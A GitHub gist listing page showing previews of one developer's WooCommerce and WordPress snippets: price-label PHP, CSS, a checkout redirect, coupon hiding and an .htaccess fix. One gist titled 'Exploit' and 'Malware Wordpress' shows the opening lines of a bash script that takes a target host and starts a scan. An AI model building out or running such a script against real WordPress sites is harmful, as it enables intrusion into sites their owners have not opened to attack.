Skip to content

Instantly share code, notes, and snippets.

@eltondev
eltondev / Percentage Woocommerce.css
Last active August 29, 2015 14:19
Display Percentage
.percentage-bubble {
left: 0px;
position: absolute;
text-transform: uppercase;
top: 20px;
z-index: 9;
}
.percentage-bubble .percentage {
background-color: #e74c3c;
@eltondev
eltondev / sales-flash.php
Last active August 29, 2015 14:19
Sales Flash Gradient
<?php
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
global $post, $product;
if ( ! $product->is_in_stock() ) return;
$sale_price = get_post_meta( $product->id, '_price', true);
$regular_price = get_post_meta( $product->id, '_regular_price', true);
if (empty($regular_price)){
$available_variations = $product->get_available_variations();
$variation_id=$available_variations[0]['variation_id'];
$variation= new WC_Product_Variation( $variation_id );
@eltondev
eltondev / Exploit
Last active December 24, 2016 06:28
Malware Wordpress
#!/bin/bash
echo $1 | grep "http" >/dev/null;chx=$?
if [ $chx -eq 0 ];then
hostx=$1
else
hostx="http://$1"
fi
echo "Scan $hostx"
FCK="rev"
@eltondev
eltondev / functions.php
Created July 2, 2015 17:38
Custom text starting from WooCommerce
function variable_price_html_custom( $price, $product ) {
$price = '';
if ( ! $product->min_variation_price || $product->min_variation_price !== $product->max_variation_price ) {
$price .= '<span class="from">' . __( 'À partir de' ) . ' </span>';
}
$price .= woocommerce_price( $product->get_price() );
return $price;
@eltondev
eltondev / functions.php
Last active August 29, 2015 14:24
Display Custom Variable Price Products
function variable_price_html_custom_text( $price, $product ) {
$price = '';
if ( ! $product->min_variation_price || $product->min_variation_price !== $product->max_variation_price ) {
$price .= '<span class="from">' . __( 'A partir de' ) . ' </span>';
}
$price .= woocommerce_price( $product->get_price() );
if ( $product->max_variation_price && $product->max_variation_price !== $product->min_variation_price ) {
$price .= '<span class="to"> ' . __( 'até' ) . ' </span>';
$price .= woocommerce_price( $product->max_variation_price );
}
@eltondev
eltondev / functions.php
Last active August 29, 2015 14:27
WooCommerce Checkout Redirect Thank You
<?php
add_action( 'woocommerce_thankyou', 'redirectcustom');
function redirectcustom( $order_id ){
$order = new WC_Order( $order_id )
$url = 'http://marcelototoso.com/custom-url';
if ( $order->status != 'failed' ) {
wp_redirect($url);
}
}
@eltondev
eltondev / functions.php
Last active August 29, 2015 14:27
Hide Cupom Cart / Checkout WooCommerce
<?php
// hide coupon on cart
function hide_coupon_on_cart( $enabled ) {
if ( is_cart() ) {
$enabled = false;
}
return $enabled;
}
add_filter( 'woocommerce_coupons_enabled', 'hide_coupon_on_cart' );
@eltondev
eltondev / functions.php
Created September 30, 2015 20:14
WooCommerce - Variable product with custom price labels
function custom_variable_price_html( $price, $product ) {
$price = '';
if ( ! $product->min_variation_price || $product->min_variation_price !== $product->max_variation_price ) {
$price .= '<span class="from">' . __( 'A partir de' ) . ' </span>';
}
$price .= woocommerce_price( $product->get_price() );
if ( $product->max_variation_price && $product->max_variation_price !== $product->min_variation_price ) {
@eltondev
eltondev / functions.php
Created October 1, 2015 20:24
Custom price Woocommerce Offers
function new_custom_price_html( $price, $product ){
return 'De: ' . str_replace( ' <ins>', ' Por: <ins> ', $price );
}
add_filter( 'woocommerce_get_price_html', 'new_custom_price_html', 100, 2 );
@eltondev
eltondev / .htaccess
Last active October 7, 2015 19:33
Error to access wp-admin after migration, ranking redirect loop use the .htaccess below
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>